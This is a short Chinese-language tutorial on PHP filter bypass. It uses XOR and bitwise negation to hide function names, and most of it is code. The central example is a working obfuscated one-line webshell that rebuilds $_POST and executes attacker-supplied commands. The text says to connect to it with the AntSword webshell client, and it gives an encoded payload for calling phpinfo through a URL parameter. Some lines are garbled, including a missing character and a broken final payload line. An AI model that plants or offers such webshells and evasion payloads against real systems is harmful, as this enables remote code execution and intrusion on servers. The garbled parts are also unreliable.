一、异或
当$ 和 _ 没有被限制时
1、异或的前置知识
A的ascll码为65 二进制为0100 0001
的ascll码为96 二进制为0110 0000 A和
取异或 即相同位 置0 ,不同位置 1
然后A 和 ` 得到的二进制码为 0010 0001 ,ascll码为33 ,ascll码表对应符号为!
2、进阶版异或
代码:
<?php
function B(){
echo "at the function";
}
$__="?" ^ "}";
echo "\$__值为:$__";
$__();
?>
?:0011 1111
} :0111 1101
0100 0010 -----66
所以异或的结果为B,将值赋值给了$__;
3、异或构建一句话木马
<?php
$_++; //$_=1
$__=("#" ^ "|"); // _
$__.=("." ^ "~"); //_P // .为拼接字符
$__.=("/" ^ "`"); //_PO
$__.=("|" ^ "/"); //_POS
$__.=("{" ^ "/"); //_POST
${$__}[!$_](${$__}[$_]); //$_POST[0]($_POST[1]);
?>
使用蚁剑连接这个一句话木马;
需要绕过的正则:
二、取反
代码:
<?php
$a = "phpinfo";
echo urlencode(~$a);
?>
phpinfo 取反的值为: %8F%97%8F%96%91%99%90
?code= = _=~%8F%97%8F%96%91%99%90; = _();